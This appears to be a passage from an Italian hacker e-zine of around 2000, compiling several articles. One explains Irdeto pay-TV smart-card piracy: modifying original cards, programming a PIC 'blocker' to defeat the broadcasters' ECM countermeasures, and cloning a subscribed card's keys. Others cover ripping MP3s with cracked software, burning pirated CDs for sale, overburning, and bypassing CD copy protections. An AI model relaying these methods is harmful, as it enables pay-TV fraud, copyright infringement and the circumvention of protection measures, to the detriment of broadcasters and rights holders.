realizzarvelo da soli) Un software che comandi l'interfaccia Smouse/Phoenix per scrivere ed inviare comandi alle smart card: ne esistono molti , + o - efficaci es CardWizard,Cardmaster, CardDevil ecc. Il software deve essere impostato in questo modo: si deve scegliere quale porta seriale utilizzare es COM1 e il Clock (se a 3,57 Mhz o 6Mhz) . Quando è tutto ok allora si può fare un reset alla scheda e poi inviare i vari comandi Ecco alcuni software: CardWizard: Sicuramente il miglior software per inviare comandi alle schede, è velocissimo, stabile e ricco di funzionalità puoi farci di tutto. La versione originale è in tedesco ma è possibile reperire anche la versione tradotta in italiano. CardMaster: Un buon software , un po' capriccioso perché per ogni minima cosa si blocca ma se viene settato bene ed è tutto ok funziona a meraviglia (ha qualche bug). Anche per questo sono disponibili versioni tradotte in italiano. CardDevil: Un buon software per Dos, molto stabile ma un po' lento, in lingua inglese semplicissimo da configurare e da utilizzare. ..e tanti altri ancora. Irdeto: Standard di codifica/decodifica al momento il più diffuso e anche il più piratato, troppo piratato :( Serial Hex: Il Ser Hex e' un valore importantissimo perche' e' unico composto da tre byte e non ne troverete altri uguali questo e' stato fatto per i vari gestori in modo da inviare informazioni ai loro abbonati senza nessun errore. Serascii: E' un numero di undici cifre collegato al Serhex che serve al gestore ogni qualvolta voi dovete chiedergli qualsiasi informazione. Provid: In una scheda irdeto ci sono due provid ossia 00 oppure 10 ma la maggiorparte dei gestori usa lo 00. Il provid e' composto da tre byte che sono il numero del vostro abbonamento. Fino a circa tre mesi fa quando uno comprava una Welcome Kit era 000300 e cambiava solamente quando si attivava un abbonamento , adesso una volta che si inserisce la scheda nel ricevitore gli viene attribuito un provid automaticamente. Date: La data interna della smartcard serve per determinare la temporizzazione degli eventi ovvero quando scade il vostro abbonamento. Atr: E' la risposta al reset inviata dal phoenix . La risposta sara' una sequenza di 20 bytes : 3B 9F 21 0E 49 52 44 45 54 4F 20 41 43 53 20 56 31 2E 36 9F che servono al terminale per determinare quale protocollo usare. Channel id: Sono sono i codici dei vari pacchetti di abbonamento e sono formati da due bytes + due bytes che indicano la data di scadenza dell'abbonamento. Key Sono le chiavi di decodifica composte da 8 bytes piu' uno iniziale per identificare la key che sono : 02 - 04 - 06 - 08 - 0a - 0c - 0e - 10 per ogni Provider. Quindi in ogni card Irdeto ci possono essere massimo 16 chiavi cioe' 8 per provider 00 e 8 per provider 10.Ogni canale per poter essere decodificato ha bisogno della giusta chiave per metterlo in chiaro altrimenti non si vede pur avendo inserito i chanid giusti. Alcuni esempi : Blustream - Key 08 Primafila - Key 02 Streamcalcio - Key 00 che non e' altro che la famosa Mkey D+ - Cambia ormai periodicamente key dalla 02 alla 10 ciclicamente. Quando due Bouquet usano la stessa key in contemporanea (ad esempio due key02) abbiamo due key incompatibili e teoricamente non è possibile far condividere queste due "cose" ma a questo punto entra in gioco il pic del blocker... si proprio lui il famoso 16F84. E' possibile programmare il pic utilizzando i file hex già pronti del blocker universale, mega blocker o altro oppure generarsi con programmi tipo Megablocker Generator il proprio hex e passando l'opportuno crd sulla scheda (Key e channel id). In questo modo sarà possibile gestire due o piu key uguali senza problemi. Masterkey: Si tratta di una key grazie alla quale il processore della card mette in chiaro i vari canali. Altra funzione della Mkey e' quella di elaborare le Key che il gestore invia alle nostre card. La Mkey ha un valore di 8 bytes ed e' quasi sicuramente collegata al Serial Hex , perche' quando viene inviata dal gestore la invia ad un Serial Hex ben preciso (e come avevamo detto prima e' unico per ogni card). Quasi sicuramente vi domanderete da dove si prendono tutte queste informazioni? Dai Log visto che i gestori inviano in continuazione le varie informazioni alle nostre card. Pkey e Pmkey: Quando una sc riceve una key o una Mkey questa non viene memorizzata cosi come gli viene inviata ma viene elaborata e trasformata in chiave decriptata ovvero Pkey o Pmkey. Signature: Non e' altro che un codice di controllo che viene posto alla fine di un comando ed e' composto da cinque bytes CRD: I crd sono dei semplici file di testo contenenti i comandi irdeto che devono essere inviati alla scheda Cavo Null Modem: Cavo seriale 15 pin (pin to pin), usato per collegare Notebook ecc.. (quello usato dallo Smart Mouse è Maschio-Femmina) LE SCHEDE serviranno delle schede di stream, D+ o altro scadute o abbonamenti minimi ..ne avete una??? Potete utilizzare una scheda scaduta, sottoscrivere un abbonamento minimo a stream (24.000 £ al mese) o a D+ (19.000 £ al mese) , oppure farsi un abbonamento e disdirlo entro sette giorni, denunciare di aver perso la scheda ecc. ecc. (il cane può sempre mangiarsela no? :-)) Comunque io consiglio di fare un abbonamento minimo perché almeno così la cosa andrà avanti. le varie versioni di schede le possiamo dividere sostanzialmente in due tipi: -ACS 1.2 -ACS 1.4 e 1.6 MOSC : sono le schede originali che poi vengono modificate opportunamente ;-) HORNET: sono le schede pirata vere e proprie, di solito vengono vendute a prezzi molto alti e sono meno flessibili delle schede originali (ormai oggi sono quasi inservibili) . Personalmente sono contrario all'uso di queste schede. La mia filosofia è questa: I prezzi degli abbonamenti è vero sono troppo alti per vedere tutto legalmente, io consiglio di fare almeno un abbonamento legale minimo a Stream o a D+ in modo da consentire comunque guadagni minimi alle emittenti e poi aggiungere gli altri canali "in casa". Così penso non ci rimetta niente nessuno perché comunque le emittenti devono guadagnarci qualcosa altrimenti se tutti avessero schede pirata smetterebbero di esistere. BLOCKER : è un attrezzo reperibile facilmente in commercio con il nome Dual Card (cioè utile a mettere due schede in contemporanea legalmente) ma la cosa importante del blocker è un piccolo integrato (un pic 16F84 ) che opportunamente programmato permette di filtrare i segnali di disabilitazione in caso di ECM e che permette anche di gestire (sempre opportunamente programmato) più key in contemporanea. È un interfaccia che si inserisce nel decoder (simula una scheda) e che poi accoglie la scheda vera e propria e serve appunto a preservarne il contenuto. ECM: è un sistema di contromisura elettronica che le emittenti adoperano per disabilitare con impulsi particolari le schede abusive. Utilizzando il blocker si è protetti da questo tipo di disabilitazione (l'ultimo ECM di D+ (ecm serio intendo) risale a Marzo (anno scorso). attualmente stiamo assistendo solo ad una serie di Switch off) SWITCH OFF: È un tipo di ecm ma consiste nel cambiare i codici con altri nuovi, nel caso di schede originali non modificate il cambiamento avviene senza che l'utente se ne accorga. Nel caso di una Mosc inserita in un blocker i codici non verranno aggiornati perché il blocker non permetterà di farlo e si resterà al buio ( in questo caso occorre riprogrammare la scheda con i nuovi codici oppure bisognerà farsi un clone da una scheda regolarmente abbonata da inserire poi senza blocker e che verrà riconosciuta come regolarmente abbonata e aggiornata direttamente). Attualmente è in fase di perfezionamento un blocker che fa un autoupdate delle key in automatico. CLONE: Farsi un clone consiste nel copiare dati tipo PlainMasterkey e Provider id che identificano le schede regolarmente abbonate. Questi dati devono essere inviati alla scheda da clonare che li riceverà e verrà riconosciuta come l'originale.Ovviamente bisognerà ricordarsi di inserire i channel id dei relativi canali. Un clone attualmente è importante per il pacchetto D+ e per SCT. NEGOZIANTI: razza bastarda (non tutti, almeno quelli che lucrano su questo). Non capiscono che vendendo tutte queste schede pirata stanno contribuendo alla morte dell'IRDETO. Intanto stanno guadagnando alle spalle delle emittenti grosse somme di denaro. Quindi carissimi di Tele + e Stream che sicuramente leggerete questo articolo, dovete controllare i vostri cari centri affiliati e non vi dovete impuntare sul povero fesso di turno che magari paga l'abbonamento minimo e si è aggiunto un po' qualche canale. Cosa dovete fare??? Prendete la vostra interfaccia Phoenix-smartmouse e la collegate tramite porta seriale al vostro caro PC, la settate a 3,5 Mhz senza inversione (come Phoenix) . Aprite uno software ad es. il Cardwizard lo impostate sulla com dove è collegata l'interfaccia e settate il tutto a 3,5 Mhz poi. inviate gli opportuni crd contenenti le varie Plainkey , Channel ID ecc. (eventualmente se dovete metterci su un clone o se dovete cambiare dati importanti della scheda tipo SerialHEX , Nazionalità , PMK ecc.). Nel caso si vogliano gestire Multibouquet ( cioè più bouquet anche con la stessa key di utilizzo) bisognerà programmare anche il pic del blocker e questo potrà essere facilmente fatto con il megablocker generator che attualmente è alla versione 3.5 dopo aver impostato i singoli bouquet, la relativa key e gli 8 byte di essa e dopo aver trovato tutte le singole signature bisognerà generarsi l'hex da inserire sul pic.Se tutte le operazioni sopra elencate saranno eseguite correttamente allora si decodificherà tutto correttamente altrimenti avrete saltato qualche punto che dovrete riprendere. IMPORTANTE impostare un delay di circa 50 ms e la velocità a 3,5 Mhz e controllare che le signature vengano calcolate tutte ( vedere la risposta) perché se procede troppo velocemente possono verificarsi errori.... controllate le signature. PRESTO COMUNQUE VI DARO' L'URL DEL SITO INTERNET CONTENENTE TUTI I CRD BELLI E PRONTI CON I RELATIVI COMMENTI.INOLTRE I SOFTWARE, LE INTERFACCE e tutto il necessario per il sathacking. Questo articolo è stato rivisto poco tempo fa a causa dei continui switch off di D+ e molte parti di esso sono state modificate e molte altre cancellate , soprattutto la parte relativa ai multibouquet (che avevo spiegato approfonditamente). Comunque a causa del poco tempo a disposizione non ho potuto trattare altri argomenti che saranno affrontati nel prossimo articolo che conterrà: DVB 2000, l'arte di Loggare, metodi per recuperare card azzerate, metodi di personalizzazione, clone in generale, algoritmi vari, spiegazioni crd ecc. ecc ma soprattutto l'apertura del SECA. ..LA TV LIBERA E' UN DIRITTO DI TUTTI. ;) p.s. scusate gli eventuali errori accidentali e non..cmq non ho avuto molto tempo per rileggere. Byez ---^Mfonzie^--- -=!!!|-mp3 tUt0riAl-|!!!=- Autore: mR_bIs0n ------------------------------------------ Mini - Guida all'uso "illegale" degli MP3 by mR_bIs0n ------------------------------------------ Consumo: ankora devo mangi… quindi... Musica ascoltata: Hit Mania Dance 2000 direttamente in mp3... Saluti: al mio amikone Panino (immancabile), Daniele, Luigi, Marco, Bib, Claudio nonkŠ tutti gli amici del kanale #Phreak.it Dedikato: a Spastik Woman (anke konosciuta kome Red Hair - Ilaria), ke dopo tante peripezie ha lasciato il suo bravo ragazzo (Spastik Man)... Fankulo: non alla prof. ke mi ha messo 8 in Storia, kosa mai successa... bens alla conosciutissima L.I.S.A. (ehehhe troppo forte Tanados...) Bene s'inkomincia... Innanzitutto vi diko ke leggere e fare ci• ke c'Š scritto qui non Š punibile dalla legge!!! HEHEHE proprio kos... quindi non mi dilungo in nessun disclaimer legale ke mi stanno sempre sulle palle... Allora... questa modesta mini guida all'uso degli mp3, Š stata concepita dopo varie diskussioni kon i miei amici del paese... vi riporto sotto una di queste... Amiko Demente - Komu faci ku ti sienti li canzoni allu compiutere??? Trad.- Oh, gentil messere, kome potrei fare io, di grazia, ad ascoltare dei soavi stornelli attraverso il computer da me posseduto??? Io - Devi trasformarti le traccie CD in file MP3 ke potrai askoltare sul tuo PC... Amiko Demente - C'Š kazzu shta dici qustu??? Trad.- Oh, amici miei, cosa dice questo gentiluomo... quali scelleratezze emette il suo cavo orale??? Bene, avete kapito tutti ke qualke novizio potrebbe essere completamente profano riguardo gli mp3... quindi ho scritto quest'art per ki ne sa'poko o completamente niente... Oki Mettiamo ke avete un CD niente male ke vi ha prestato il vostro sporko amiko... sporko perkŠ lo rivuole il giorno dopo... ke bastardo... dovrebbe morire... certo ke la gente Š proprio stronza... inxomma... lo rivuole... ke bastardo... dovrebbe morire... certo ke la gente Š proprio stronza... mo'basta! Voi da perfetti approfittatori potreste, e diko, potreste trasformarvi tutto o in parte il CD in mp3... potreste, perkŠ, c'Š ne sono di scemi in giro... quindi dovrete avere innanzitutto tre cose IMPORTANTISSIME!!! Ke sono un computer, una skeda sonora e per ultimo, e non in ordine di importanza, delle kasse stereofonike!!! Poi anke del software... naturalmente... Oki, innanzitutto sentite bene quali tracce volete trasformarvi... una volta fatto ci• dovete prokurarvi del software... Ma prima vi spiego kosa fanno... ************** * Traccia CD * ************** || \/ Trasformazione in WAV || \/ ************** * File WAV * ************** || \/ Trasformazione in MP3 || \/ ************** * File MP3 * ************** uff... c'ho messo pi— tempo a fare sto skema ke ha scrivere il testo... spero ke valga... vabbŠ... Allora, ci sono dei software ke fanno ci• ke ho deskritto... lo fanno tutto in una volta... cioŠ scegli la traccia, setti le caratteristike e ti f… direttamente il file MP3... questi prog sono comodi ma per la maggiorparte, complicati e sopprattutto A PAGAMENTO... cioŠ ti rompono le palle trasformando solo alkune traccie a RANDOM... ke palle... ke stronzi... certo ke dovrebbero sopprimerli quelli ke fanno kos... bastardi... cmq... alkuni di questi prog sono per fare un esempio AUDIOGRABBER... ke stronzi... Io per venire in kontro a questi bastardi di programmatori uso due programmi diversi: uno mi fa la traccia CD in WAV e poi un altro mi fa il WAV in MP3... Bravi i programmatori... il software Š freeware o shareware... ke bello!!! Vi diko subito quali uso e dove potete reperirli!!! Per trasfomrare le Traccie CD in WAV uso Digital Audio Copy ver. 1.50 (WinDAC32)... Š share ma tanto non rompe le PALLE!!!! Prendetelo al sito www.windac.de con un po'di fatika e di ricerka potete trovare il serial o il crack... Mentre per trasformare il WAV in MP3 uso un prog codificatore: BladeEnc e' un encoder freeware nato per Linux e basato sulle routines di compressione mpegEnc. Potrete trovarlo al sito http://bladeenc.mp3.no/. In kaso visitate la sezione SoftWare di Vitaminic (www.vitaminic.it/software) ci sono molti software interessanti... Continuando, vi posso dire ke questi software sono affidabilissimi e semplici! Quindi, mettiamo nel lettore il nostro CD (il lettore sarebbe quella specie di portatazza da ufficio ke forniscono col PC...), dopodikkŠ, facciamo partire il prog WinDAC32 e settiamo tutti i parametri tipo dove scarikare il file... poi una volta fatto ci• scegliamo la traccia... buona scelta, la famosissima canzone: Papa Giovanni Paolo II - Ave Maria ... scommetto ke avete avuto il CD con la videocassetta "La vita di Papa Woutivla"... non vi sparo perkŠ non vi konosko... skusatemi tanto ma ora devo studiare biologia e farmi tanti altri compiti... ke palle stratosferike... quindi arrivederci fra 5 min... seeeeeeee almeno un paio di ore... diciamo pure tra 3... ma tanto voi ke kaxxo ve ne fregate... booooo Sono tornato e possiamo ricominciare... avete persino sentito la mia mancanza? Oki, avete scelto la vostra traccia, ora tramite il men— del prog grabbatela... kosikkŠ si former… il file "Papa Giovanni Paolo II - Ave Maria.wav" ke potrete ora trasformare in MP3... uau direte voi vero??? Š proprio mitiko ascoltarsi a gran volume con il vostro lettore portatile MP3 Papa Giovanni Paolo II - Ave Maria.MP3... soprattutto se usate anke un rosario... Fatto ci• (intendo grabbato la traccia...), prendete il prog FREEWARE BladeEnc... e avviatelo... usciranno un sacco di puttanate... ma a noi serve una sola riga di komando bladeenc Papa Giovanni Paolo II - Ave Maria.wav se volete potrete settare il bitrate (ke sarebbe la qualit… sonora) pi— alto o pi— basso di 128 ke Š gi… di default. Kome? bladeenc -160 Papa Giovanni Paolo II - Ave Maria.wav bladeenc -56 Papa Giovanni Paolo II - Ave Maria.wav bladeenc -64 Papa Giovanni Paolo II - Ave Maria.wav Bene ora il vostro proghetto, inizier… il coding del file... ke palle... durer… un pokettino... uau Š finito!!! Ora avete il vostro beneamato MP3... ... ... ... ... MbhŠ ke volete? ... ... ... E'finito! Cirkolare... ... ... ... Madonna mia... vabbŠ me'... Kontenti??? Razza di... CIAO A TUTTI DA ---mR_bIs0n--- ############################## #+------------++------------+# #| cD-wRiTinG || cD-wRiTinG |# #+------------++------------+# ############################## -=!!!|-iNtr0 alLa mAsTerIzZaZi0nE-|!!!=- AUTORE : AsAx Questo file sarà molto molto ma che dico... molto utile a chi si appresta ad entrare nel mondo della masterizzazione  e della pirateria di software. Naturalmente vendere i cd mafagna agli amichetti di skuola o ai prof. e' un reato... ma il bello e' proprio quello... ;-) --->>> mah, mi sa che sto dicendo già kazzate... cmq...<<<--- *Tempo impiegato a scrivere: --come kazzo faccio a saperlo se sto iniziando ora? bah... *Alimenti consumati: --anche se sono le tre di notte, mi è venuta una certa fame... scendo di --sotto [[ in silenzio ]] a prendere qualcosa... scivolo su un kazzo di --paletto che non so chi abbia messo lì sulle scale...I miei si svegliano --pensando che siano i ladri...rischio una randellata sulla testa da parte --di mio padre trasformatosi in Van Damme...mi è passata la fame, --ricominciamo a scrivere... *Musica ascoltata (a basso volume): --Down Low -So long goodbye- *Note varie: --c'e' il kane del vicino che ulula porKo D..! (No, cosa avete kapito, mica --il kane ulula "porko D..", sono io che ho dimenticato la virgola... ) --Un giorno di questi mettero' a frutto le nozioni tecniche sugli esplosivi --che ho appreso... Dette ste' cose cominciamo... Cos'e' la pirateria e cosa comporta? ( in parole povere...) Sembra una domanda cui solo un mentecatto non troverebbe risposta cmq io lo spiego in semplici parole... La pirateria consiste nel trafficare con software (oppure con cd musicali) copiati senza disporre dell'effettiva autorizzazione da parte di chi ne possiede i diritti. Questo naturalmente e' un bel kazzo perchè si ricade nell'illegalita' (ma vaaaaa... e senno' perche' lo facciamo :-)) poi ai finanzieri i pirati stanno proprio sul pasticciotto e se ci sgamano ci fanno un culo quanto una casa... pensate che leggevo diverso tempo fa su un quotidiano di alcuni sbirri che, dopo numerosi appostamenti,  credevano di aver finalmente bekkato uno spacciatore di coca: infatti, a casa del tipo c'era un viavai continuo di gente. Dopo aver fatto irruzione (fottuti bastardi!!!) hanno trovato una bella sorpresa: una "fabbrica" di cd mafagnati... Percio' evitate di esporvi troppo nei vostri traffici... meditate, meditate... <---->Componenti hardware -necessari<----> C'e' una grossa distinzione da fare per quanto riguarda l'hardware: infatti tutto dipende dalle vostre taske: se avete un pò di money da spendere andate tranquilli e comprate tutto scsi, altrimenti accattatevi l'eide anke se e' un cesso (beh, non proprio, pero'....gli manca la katena) NON VENITE A KIEDERMI LA DIFFERENZA TRA SCSI E EIDE, IMMAGINO CHE QUELLA LA SAPPIATE... mi sbaglio? mmm, puo' essere... ;-) Vediamo qualche prezzo [indicativo naturalmente] §§§ SCSI §§§ -Masterizzatore TEAC CD-R56S 6x24x SCSI Lit. 440.000 -Lettore PLEXTOR 40X ULTRAPLEX SCSI Lit. 203.000 ---->>> TOT.- 768.000 - -Controller ADAPTEC 2904 PCI Lit. 125.000 §§§ EIDE §§§ -Masterizzatore MITSUMI CR4804TE 4x4x24x EIDE Lit. 420.000 -->>> TOT. 420.000 Tanto il lettore gia' l'avete ( se non e' obsoleto ), il controller non vi serve a un Kazzo.... ~~~La differenza di prezzo c'e'... quindi comprate quello che potete. Per quanto riguarda i cd vergini [kome mi piace sta' parola...] i prezzi vanno dalle 1.600 lire alle 3.000 lire. Comprate quello che volete purche' siano di qualità buona. Attenzione perchè con l' eide, a differenza dello scsi, se kannate i cd molto spesso e' a causa del supporto che fa schifo, perciò cambiate marca; inoltre alcuni cd bulk non sono supportati da tutti gli eide (e questo e' grave in quanto sono i meno costosi...). Insomma, se l' eide lo pagate di meno un motivo c'e', soprattutto in termini di velocita'.. <-->Prepariamoci a masterizzare il nostro 1* CD<--> Allora, ci siamo comprati sto kristo di masterizzatore, lo abbiamo montato e non sappiamo che kazzo farcene... mmm, beh, mi sembra giusto... Abbiamo un programma per masterizzare? Sicuramente si', se il mast lo abbiamo comprato nuovo; sicuramente no, se il mast lo abbiamo rubato... in questo caso mandatemi una mail che vi faccio una copia io... ;-) Scherzi a parte se il programma non l'avete TROVATELO!!!!!!!!!!! Ecco, visto, e' cosi' facile... bene bene, installiamo il programma sul nostro winKazz (o no?) poniamo che sia "NERO BURNING ROM 4.06.1". Benissimo, questo prog e' dotato dell'utilissimo cd-wizard che permette anche ai cerebrolesi di fare il loro cd. IO LO ODIO!!! KE KAZZO ME NE FREGA A ME DEL CD CON GLI OCCHI CHE SUONA LA KITARRA, CHE TIENE LE KARTELLE... IO VORREI FIKKARGLIELE IN KULO LE KARTELLE, LA KITARRA, GLI OCCHI... basta, mi sono sfogato... dicevamo... ah, si dell'utilissimo cd-wizard: usandolo potrete scegliere facilmente il tipo di cd da scrivere, specificando l'origine dei dati e kazzi vari...io vi konsiglio di non usarlo... La cosa piu' importante che voglio dirvi è di non fare MAI copie al volo; infatti, e' il metodo piu' rischioso per sprecare i nostri amati cd vuoti anche se il piu' veloce. Mi raccomando... altrimenti non guadagnerete mai un soldo se i profitti che  ricavate con la vendita dei cd li sprecate tutti a KAZZO... <--->Alcune regole generali per una corretta masterizzazione<---> -- DISABILITATE SCREENSAVER E ANTIVIRUS DURANTE LA FASE DI COPIA -- NON USATE IL COMPUTER PER NESSUN MOTIVO DURANTE LA COPIA -- EFFETTUATE, SE NE AVETE TEMPO, LA PROVA DI SCRITTURA: consiste nel -- simulare, e ripeto, "simulare",  una vera scrittura su cd. In  questo -- modo, se avete dei dubbi sulla riuscita del cd, usatela... -- NON FATE AVVICINARE I CUGINETTI ROMPIKOGLIONI CHE PER PURO CASO PREMERANNO -- IL TASTO "ANNULLA" QUANDO SIETE AL 97% DELLA FASE DI SCRITTURA <-->DETTO QUESTO RICAVIAMO LA REGOLA FONDAMENTALE DELLA MASTERIZZAZIONE<--> -- MEGLIO METTERE PIU' TEMPO E GUADAGNARE DI PIU' CHE METTERE DI MENO E -- GUADAGNARE DI MENO-- mado'... sono un grande [k@ç|i@ne], Come ho fatto a skoprirlo?e cmq il tempo impiegato e' sempre relativamente breve: 6min per fare l'immagine, 8 per scriverla...mmm, siamo andati bene ;-) che stronzata... Scriviamo [in maniera sikura] il nostro CD Tutto cio' vale, naturalmente, sia per i cd dati che audio. 1- Uscite dal cd-wizard 2- Andate nella voce "copia CD" 3- Nella scheda "IMMAGINE" specificate il nome del file (se vi interessa...) 4- Nella scheda "OPZIONI DI COPIA" disabilitate "al volo" e scegliete la posizione del cd che intendete copiare (se  lettore o masterizzatore) e la sua velocita' di lettura. Ricordate che piu' bassa e' la velocita' ---> meno errori potreste incontrare 5- Nella scheda "OPZIONI DI LETTURA" disabilitate l'opzione "leggi numero catalogo del supporto e ISRC" 6- Nella scheda "SCRIVI" decidete se volete fare o no il test di scrittura, e specifikate a quante velocità scrivere il cd. 7- premete su "scrivi" e il gioko e' fatto !!! **************************************** !!ATTENZIONE!! §§§§§§§§§§ !!ATTENZIONE!! **************************************** Questa mini-guida e' indirizzata a ki e' alle prime armi con la masterizzazione percio' ho volutamente: - Parlato solo del NERO, e tralasciato le sue funzioni piu' importanti e piu' "professionali". - Fatto a meno di menzionare altri, e piu' "difficili" [anke se migliori ] prog di masterizzazione. ->Spero di avere l'opportunità in futuro di proseguire con il mio "lavoro": quindi cerchero' di trattare tutti i programmi che conosko,  tutti gli argomenti piu' ostici per chi masterizza, come i cd-protetti, ( e quindi anke kome proteggerli :) ), i cd per la play e cose varie. Bene, mi sembra di aver skritto tutto e anche se non l'ho fatto mi sono rotto i koglioni... aaawwwwwaawa... ho sonno... Prima di andare a dormire, però, non posso fare a meno di salutare -rigorosamente in ordine sparso- Cubix il kasinista :), Pikkio il conquistatore, ddd3d il pazzo, Stefax il vekkio :), Paolo lo skoppiato e la grande e inimitabile Lara Kraft, Fabio lo sbirro, il mio grandissimo compagno di banco! Ciao belli !!! Tutti gli altri speriamo ke li bekki la finanza! skerzo... oppure no?mah... Naturalmente skrivetemi tutto quel kazzo ke volete: kritike, precisazioni, KONSIGLI ;-) kastimatemi i morti ma skrivetemi!!! -->asax2k@yahoo.com<-- ---AsAx--- -=!!!|-0vErBuRnInG, c0piA CD pR0tETti, c0pIa CD PeR PsX-|!!!=- Autore: AsAx <--->INTRO<---> Sikuramente ora tutti konosciamo il famoso programma "Nero" della "Ahead software"; infatti fino a un bel po' di tempo fa il programma era skonosciuto ai piu' (quando era ankora agli esordi) e veniva utilizzato solo da poke persone. Adesso, invece, il diskorso e' kambiato perke' il prog viene distribuito insieme all' 80% dei masterizzatori e quindi e' utilizzato da tutti, kani e porci ;). Percio', ritengo utile skrivere questo artikoletto ke spero si rivelera' molto utile a ki masterizza. Prendero' in esame la versione 4.06.1 xke' mi sembra la piu' diffusa, kmq le differenze kon le precedenti sono minime. Vi konsiglio una buona dose di pazienza per leggere le mie kazzate, una skrivania piena di ciokkolatini e karamelline [per addolcirvi il kuore quando mi skriverete una mail dandomi del koglione inkompetente] e un buon sottofondo musikale Detto questo, possiamo kominciare... +--------------------+ |--1---OVERBURNING---| +--------------------+ In genere ogni cd vergine puo' kontenere da 660 a 690 Mb di dati, anke se lo spazio totale FISIKO a noi disponibile e' di circa 650-659 Mb. Questo avviene xke' lo spazio restante e' riservato all'area del LeadOut: diminuendo quest area possiamo ottenere dello spazio extra per i nostri dati, ed e' proprio kosi' ke funziona l'overmastering. Ora vi spiego in dettaglio: in modalita' Disk-At-Once il prog invia al masterizzatore un TOC contenente tutte le informazioni per l'area di LeadIn (dimensioni traccia e kazzi vari…); il nostro masterizzatore [ ke in precedenza aveva verifikato la capacita' di skrittura "sikura" del cd vergine] kapisce ke si tratta di una dimensione superiore a quella disponibile. Di conseguenza, se il mast supporta l'overburn kontinua la kopia altrimenti segnale all'utente l'impossibilita' di eseguire la skrittura. Ora la domanda nasce spontanea: io kome kazzo faccio a overmasterizzare? Innanzitutto, bisogna usare un prog ke sia in grado di gestire questa funzione proprio kome il nero, e poi avere il masterizzatore, kome dicevamo prima, in grado di farlo. Ormai una buona parte dei masterizzatori eskono di serie kon questa funzione, ma non e' detto ke i meno recenti non lo possano fare: alkune volte basta aggiornare il firmware -dove possibile- , altre volte bisogna intervenire sull'elettronica del dispositivo, ma komunque ne varra' la pena :) . Fate un giretto su internet e troverete tutte le informazioni necessarie Il primo passo per skrivere un cd overmasterizzato kon il Nero konsiste nell'abilitare tale funzione. Per default, infatti, tale opzione non e' abilitata. Allora rechiamoci al menu' -->file, poi -->preferenze, -->caratteristiche avanzate: qui, naturalmente, faremo clic sulla voce "Attiva la modalita' overburn utilizzando il metodo disk-at-once". Subito sotto noteremo lo spazio per inserire la lunghezza max del cd overburn ke andremo a skrivere: state molto attenti xke' questo e' fondamentale; non tanto per la korretta skrittura del cd -ke avverra' sikuramente, anke se kon errori, ma per la successiva lettura nei komuni cd-rom. Puo' succedere ke la skrittura eska korrettamente, ma poi ci troveremo komunque di fronte ad un cd illeggibile e quindi inutilizzabile. Dovrete, percio', procedere a tentativi, soprattutto in base alla marka dei cd-vergini. Ok ? Credo di si. Kontinuando a leggere sotto lunghezza massima troveremo delle righe ke ci spiegano le solite kazzate, cioe' ke non tutti i masterizzatori sono kompatibili o ke potremmo danneggiarli: questo |per fortuna| non e' vero nel 92% dei kasi. Cioe', o riuscite a overmasterizzare oppure no ;). Gli unici problemi -seri- potrebbero inkontrarli i possessori di mast modifikati nell'hardware: state molto attenti a quello ke fate e a kome lo fate, soprattutto siate sikuri ke la fonte da cui stiate attingendo informazioni su kome modifikare sia attendibile altrimenti MANDERETE TUTTO A PUTTANE ;). Ora, poniamo il kaso di dover kopiare un cd di dimensioni superiori ai fatidici 650 Mb; andiamo alla voce "copia cd" e creiamo -SEMPRE- l'immagine del cd. In seguito, procediamo kon la skrittura del file immagine e qui il prog ci porra' una message-box tipo: "Vuoi procedere kon la skrittura di un cd-overburn e kazzi vari..." Noi, naturalmente, diremo di si e la skrittura iniziera'. Ora alla storia ci sono 2 finali: Finale 1) Scrittura eseguita correttamente a "x" Ok, e' andato tutto bene, il nostro cd funziona… ke kulo ;) Finale 2) Scrittura fallita a "x" Kazzo, sono usciti 2000 errori, la skrittura e' fallita… Beh, non tutto e' perduto: infatti, prima di prendere Komputer, skermo e kose varie e buttarle dalla finestra proviamo il nostro cd: ci sono ottime possibilita' ke funzioni korrettamente, nonostante gli errori. Se il cd proprio non funge, ucci cioe', state kalmi, in fondo e' il primo cd overmasterizzato ke fate Le kause possono essere diverse: una delle piu' frequenti riguarda quanto skrivevo prima, cioe' la lunghezza massima: infatti, la dimensione impostata poteva essere molto pikkola oppure molto grande [esperienza personale]. La kosa ke vi konsiglio e' quella di provare ankora!!! Lo so ke i cd kostano, pero'... Naturalmente tutto cio' vale per i cd audio ke dati indistintamente; per l'audio rikordate sempre di attivare la modalita' di skrittura disk-at-once. +-----------------------------+ |--2---COPIA DI CD PROTETTI---| +-----------------------------+ Purtoppo per noi, le kose si mettono sempre peggio. Le software house si sono skassate i koglioni di vedere i loro prodotti a kompleta disposizione di noi pikkoli piratucci di software illegale; kosi', si sono impegnate e si impegnano tutt'ora- a produrre cd kon un elevato indice di protezione Ma tutto questo non ci fermera' xke' tanto noi troveremo sempre il modo per fotterli e guadagnare alle loro spalle!!! Siiiii, kome siamo kattivi! Vediamo adesso di analizzare i vari metodi usati dai bastadacci per proteggere il software e i rimedi per kopiarli 1) ---Protezione Overburn del cd--- Ehi ma ke siamo deficenti? Bah, dipende Kmq questo e' stato uno dei sistemi piu' effikaci all'epoka, e per un po' di tempo la misero nel kulo a tutti fino a quando poi, non si sono trovati i rimedi ---Rimedio--- Ma c'e' bisogno di skriverlo??? Mah allora o overmasterizzate, se ci siete riusciti ;), e il gioko e' fatto oppure usate i cd da 80 min. [o overmasterizzate anke su quelli ;))))] 2) ---Protezione TOC illegale--- Questo metodo e' ankora molto popolare nei software: in pratika, questa protezione viene usata per essere un problema a tutti i prog di masterizzazione, ke vengono kolpiti kon il fatidico messaggio di errore durante la kopia del cd. ---Rimedio--- Basta usare un qualsiasi prog oltre al nero ke possa ignorare il TOC illegale ed il gioko e' fatto. Kosi' si by-passa la protezione, kome se non esistesse 3) ---Protezione File fasulli--- I file fasulli, meglio konosciuti kome "Dummy files", sono dei file di dimensioni enormi [superiori ai 600 Mb] ke si trovano nella directory del cd generalmente con estensione AFP. ---Rimedio--- Se il cd e' di dimensioni inferiori ai 659 Mb kopiare il cd kosi' kom'e', altrimenti overmasterizzare o utilizzare cd da 80min. La kosa importante e' creare kopie identike all'originale. NON KOPIARE ASSOLUTAMENTE I FILE SULL'HARD-DISK, XKE' VERRANNO KOPIATI KOSI' KOME C'E' SKRITTO, cioe'600 o +Mb 4) ---Protezione Errori Fisici--- Questo sembra essere il metodo di protezione piu' in voga del momento; infatti, solo poki lettori o masterizzatori tipo i nuovi waitec [Kome il mio ;)] possono tranquillamente leggere questi errori volontariamente creati dalle software house. ---Rimedio--- Utilizzare un buon masterizzatore in grado di by-passare questi errori Purtroppo, pero', i metodi di protezione non sono finiti; 